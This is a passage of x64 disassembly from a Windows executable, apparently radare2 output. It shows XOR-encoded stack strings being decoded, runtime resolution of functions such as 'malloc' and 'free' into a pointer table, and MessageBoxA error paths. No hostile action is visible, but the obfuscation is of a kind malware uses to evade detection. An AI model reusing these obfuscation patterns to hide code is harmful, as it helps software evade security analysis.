lea rcx, [rbp + 0x120]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003f800
xor r9d, r9d
lea r8, [rbp + 0x6f0]
lea rdx, [rbp + 0x59e0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0x145d32de95dabea9
mov qword [rbp + 0x93e0], rax
movabs rax, 0x1007aaf005549445
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1fffffffe010f44d
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xe00000001fee238f
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x143132ba95aebee7
mov qword [rbp + 0x9420], rax
movabs rax, 0x106baa94057a9429
mov qword [rbp + 0x9428], rax
movabs rax, 0x1fffffffe010f421
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x93f0]
pxor xmm1, xmmword [rbp + 0x9430]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x140], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x150], xmm5
lea rax, [rbp + 0x3d80]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003f950
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
lea r8, [rbp + 0x3d80]
mov rdx, r13
lea rcx, [rbp + 0x85d0]
call fcn.140051d50
mov rcx, qword [rax + 0x18]
mov qword [rbp - 0x38], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rcx, rcx
jne 0x14003fb82
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe000000020015c1f
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x6d0], xmm0
movabs rax, 0x1f17b0818ae1573e
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6be54b635d506b4
mov qword [rbp + 0x93e8], rax
movabs rax, 0xeca4e582d96e58
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x13b4b6d549bd6296
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x73739eede6852370
mov qword [rbp + 0x9420], rax
movabs rax, 0x72d11aed15f826d8
mov qword [rbp + 0x9428], rax
movabs rax, 0xb1c08bf7b62878
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4db0]
lea rcx, [rbp + 0x120]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003fb10
xor r9d, r9d
lea r8, [rbp + 0x6d0]
lea rdx, [rbp + 0x4db0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0x1a673dd65ef9c130
mov qword [rbp + 0x93e0], rax
movabs rax, 0x141333424d627cbd
mov qword [rbp + 0x93e8], rax
movabs rax, 0x11b6f8d6e7
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x5c3c4ecaa18
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x1a043da05e8ac15d
mov qword [rbp + 0x9420], rax
movabs rax, 0x1477336c4d167ccf
mov qword [rbp + 0x9428], rax
movabs rax, 0x11b694d68b
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4690]
lea rcx, [rbp + 0x120]
mov rdx, r12
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003fc60
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
lea r8, [rbp + 0x4690]
mov rdx, r13
lea rcx, [rbp + 0x8a08]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x40], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
xorps xmm2, xmm2
xorps xmm3, xmm3
test rax, rax
jne 0x14003fea8
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe00000002001b49c
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x680], xmm0
movabs rax, 0x1d7b3cd53c7eb7dc
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6f27617d064c453
mov qword [rbp + 0x93e8], rax
movabs rax, 0x1ad6fffba73459e1
mov qword [rbp + 0x93f0], rax
movabs rcx, 0x40f9f5829c043357
mov qword [rbp + 0x93f8], rcx
movabs rax, 0x795548a75f08c4b1
mov qword [rbp + 0x9420], rax
movabs rax, 0x69bc2d37fd44a83f
mov qword [rbp + 0x9428], rax
movabs rax, 0x47b2918ec8727995
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x5850]
lea rcx, [rbp + 0x120]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x14003fe30
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
xor r9d, r9d
lea r8, [rbp + 0x680]
lea rdx, [rbp + 0x5850]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
movabs rax, 0xc253c4119e80a29
mov qword [rbp + 0x93e0], rax
movabs rax, 0x1d5bc79b800fa9be
mov qword [rbp + 0x93e8], rax
movabs rax, 0x162c268c25079d
mov qword [rbp + 0x93f0], rax
movabs rcx, 0xb7a3a5714ed2b7d
mov qword [rbp + 0x93f8], rcx
movabs rax, 0xc493c2419800a7a
mov qword [rbp + 0x9420], rax
movabs rax, 0x1d75c7a9803ca9d2
mov qword [rbp + 0x9428], rax
movabs rax, 0x162c4a8c4907f9
mov qword [rbp + 0x9430], rax
mov qword [rbp + 0x9438], rcx
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9420]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x4f30]
lea rcx, [rbp + 0x120]
mov rdx, rdi
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003ff80
lea r8, [rbp + 0x4f30]
mov rdx, r13
lea rcx, [rbp + 0x8e40]
call fcn.140051d50
mov rax, qword [rax + 0x18]
mov qword [rbp - 0x30], rax
test rax, rax
jne 0x1400401b0
movabs r15, 0x1fffffffe0000000
mov qword [rbp + 0x93a0], r15
movabs rax, 0xe00000002001a4cc
mov qword [rbp + 0x93a8], rax
mov qword [rbp + 0x93b0], r15
mov qword [rbp + 0x93b8], rax
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movdqa xmmword [rbp + 0x690], xmm0
movabs rax, 0x8adce12ad662abc
mov qword [rbp + 0x93e0], rax
movabs rax, 0x60e40bd74d70f103
mov qword [rbp + 0x93e8], rax
movabs rax, 0x3baed6711dfa5e3
mov qword [rbp + 0x93f0], rax
movabs rax, 0x7276109f6e602616
mov qword [rbp + 0x93f8], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x269ffd7ec10342ef
mov qword [rbp + 0x9420], rax
movabs rax, 0x2ebf2bfa6d1c9d67
mov qword [rbp + 0x9428], rax
movabs rax, 0x67d4980857ffd18c
mov qword [rbp + 0x9430], rax
movabs rax, 0x7276109f6e60264b
mov qword [rbp + 0x9438], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x9420]
pxor xmm0, xmmword [rbp + 0x93e0]
movdqa xmmword [rbp + 0x120], xmm0
movdqa xmm1, xmmword [rbp + 0x9430]
pxor xmm1, xmmword [rbp + 0x93f0]
movdqa xmmword [rbp + 0x130], xmm1
pxor xmm2, xmm4
movdqa xmmword [rbp + 0x140], xmm2
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x150], xmm3
lea rax, [rbp + 0x61f0]
lea rcx, [rbp + 0x120]
nop dword [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x140040130
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
xor r9d, r9d
lea r8, [rbp + 0x690]
lea rdx, [rbp + 0x61f0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor al, al
jmp 0x14004743b
mov ecx, 0x6c8b8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x14003e8e1
xor edx, edx
mov r8d, 0x6c8b8
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movabs rax, 0x1445ccc3af53
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x5053aeb5da48659
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1445a9a6dd35
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x9a0], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0x9b0], xmm0
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0x9c0], xmm1
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0x9d0], xmm0
movaps xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0x9e0], xmm1
lea r8, [rbp + 0x9a0]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x88], rax
movabs rax, 0x1415be86c3cd55f5
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x1818f87a631234aa
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1415dde9afa13498
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x10b0], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x10c0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10d0], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x10e0], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x10f0], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x1100], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x1110], xmm1
lea r8, [rbp + 0x10b0]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x78], rax
movabs rax, 0x137591ea7cb5f103
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x17615a58567f8023
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1375f28510d99060
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x1120], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1130], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1140], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x1150], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x1160], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x1170], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x1180], xmm1
lea r8, [rbp + 0x1120]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x80], rax
movabs rax, 0x17ec30e4033e8b83
mov qword [rbp + 0x93a0], rax
movabs rcx, 0xae3898106c111f8
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x17ec49946053eeee
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x1190], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x11a0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x11b0], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x11c0], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x11d0], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x11e0], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x11f0], xmm1
lea r8, [rbp + 0x1190]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x90], rax
movabs rax, 0x112516508a948465
mov qword [rbp + 0x93e0], rax
movabs rcx, 0x1bbff4cf26727663
mov qword [rbp + 0x93e8], rcx
xorps xmm1, xmm1
movabs rax, 0x1140603fe7f9e108
mov qword [rbp + 0x9400], rax
mov qword [rbp + 0x9408], rcx
xorps xmm2, xmm2
movdqa xmm0, xmmword [rbp + 0x9400]
pxor xmm0, xmmword [rbp + 0x93e0]
pxor xmm2, xmm1
movaps xmmword [rbp + 0x700], xmm0
movaps xmmword [rbp + 0x710], xmm2
movaps xmm0, xmmword [rbp + 0x720]
movaps xmmword [rbp + 0x720], xmm0
movaps xmm1, xmmword [rbp + 0x730]
movaps xmmword [rbp + 0x730], xmm1
movaps xmm0, xmmword [rbp + 0x740]
movaps xmmword [rbp + 0x740], xmm0
movaps xmm1, xmmword [rbp + 0x750]
movaps xmmword [rbp + 0x750], xmm1
movaps xmm0, xmmword [rbp + 0x760]
movaps xmmword [rbp + 0x760], xmm0
movaps xmm1, xmmword [rbp + 0x770]
movaps xmmword [rbp + 0x770], xmm1
lea r8, [rbp + 0x700]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0x98], rax
movabs rax, 0x18847d122594d3
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x1251fe60e783057e
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x18841b7e4cf1b0
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xaf0], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xb00], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xb10], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xb20], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xb30], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xb40], xmm0
lea r8, [rbp + 0xaf0]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xa0], rax
movabs rax, 0x180340d4ff6f
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x51f9b2b5c44e914
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x180326ba961c
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x9f0], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0xa00], xmm0
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0xa10], xmm1
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0xa20], xmm0
movaps xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0xa30], xmm1
lea r8, [rbp + 0x9f0]
mov rdx, qword [rsp + 0x40]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xa8], rax
movabs rax, 0x183f0f5b53da
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x5201b160c64402d
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x183f69283cb9
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xa40], xmm0
movaps xmm0, xmmword [rbp + 0xe0]
movaps xmmword [rbp + 0xa50], xmm0
movaps xmm1, xmmword [rbp + 0xf0]
movaps xmmword [rbp + 0xa60], xmm1
movaps xmm0, xmmword [rbp + 0x100]
movaps xmmword [rbp + 0xa70], xmm0
movaps xmm1, xmmword [rbp + 0x110]
movaps xmmword [rbp + 0xa80], xmm1
lea r8, [rbp + 0xa40]
mov rdx, qword [rsp + 0x40]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xb0], rax
movabs rax, 0x1ac7a658bbb8b7f1
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x11e44a536bca9fd6
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1ac7d635d8cbd486
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xfd0], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0xfe0], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0xff0], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x1000], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x1010], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x1020], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x1030], xmm1
lea r8, [rbp + 0xfd0]
mov rdx, qword [rsp + 0x38]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xd0], rax
movabs rax, 0xb6b6015b174fe39
mov qword [rbp + 0x93e0], rax
movabs rax, 0x6710ed71da5e258d
mov qword [rbp + 0x93e8], rax
xorps xmm2, xmm2
movabs rax, 0x6d1f0e7cc3048d4f
mov qword [rbp + 0x9400], rax
movabs rax, 0x6710ed71da5e56d2
mov qword [rbp + 0x9408], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x93e0]
pxor xmm0, xmmword [rbp + 0x9400]
movdqa xmmword [rbp + 0x93e0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x93f0], xmm2
lea rcx, [rbp + 0x1550]
lea rax, [rbp + 0x93e0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea r8, [rbp + 0x1550]
mov rdx, qword [rsp + 0x40]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xd8], rax
movabs rax, 0x198e7f9cdabd57
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x58d7ccfadfe46b5
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x198e19f2b3ce36
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0xb50], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0xb60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0xb70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0xb80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0xb90], xmm1
movaps xmm0, xmmword [rbp - 0x60]
movaps xmmword [rbp + 0xba0], xmm0
lea r8, [rbp + 0xb50]
mov rdx, qword [rsp + 0x40]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xb8], rax
movabs rax, 0x18ce1613f5ea0a2a
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x17b5fb52cdb3cdd1
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x18ce70219b8b7e4b
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
movaps xmmword [rbp + 0x1200], xmm0
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x1210], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x1220], xmm1
movaps xmm0, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0x1230], xmm0
movaps xmm1, xmmword [rbp + 0x30]
movaps xmmword [rbp + 0x1240], xmm1
movaps xmm0, xmmword [rbp + 0x40]
movaps xmmword [rbp + 0x1250], xmm0
movaps xmm1, xmmword [rbp + 0x50]
movaps xmmword [rbp + 0x1260], xmm1
lea r8, [rbp + 0x1200]
mov rdx, qword [rsp + 0x40]
mov rcx, r13
call fcn.1400511f0
mov qword [rsi + 0xc0], rax
movabs rax, 0x1918d8f77ac0
mov qword [rbp + 0x93a0], rax
movabs rcx, 0x52085a926d695ec
mov qword [rbp + 0x93a8], rcx
movabs rax, 0x1918be8015b0
mov qword [rbp + 0x93b0], rax
mov qword [rbp + 0x93b8], rcx
movdqa xmm0, xmmword [rbp + 0x93a0]
pxor xmm0, xmmword [rbp + 0x93b0]
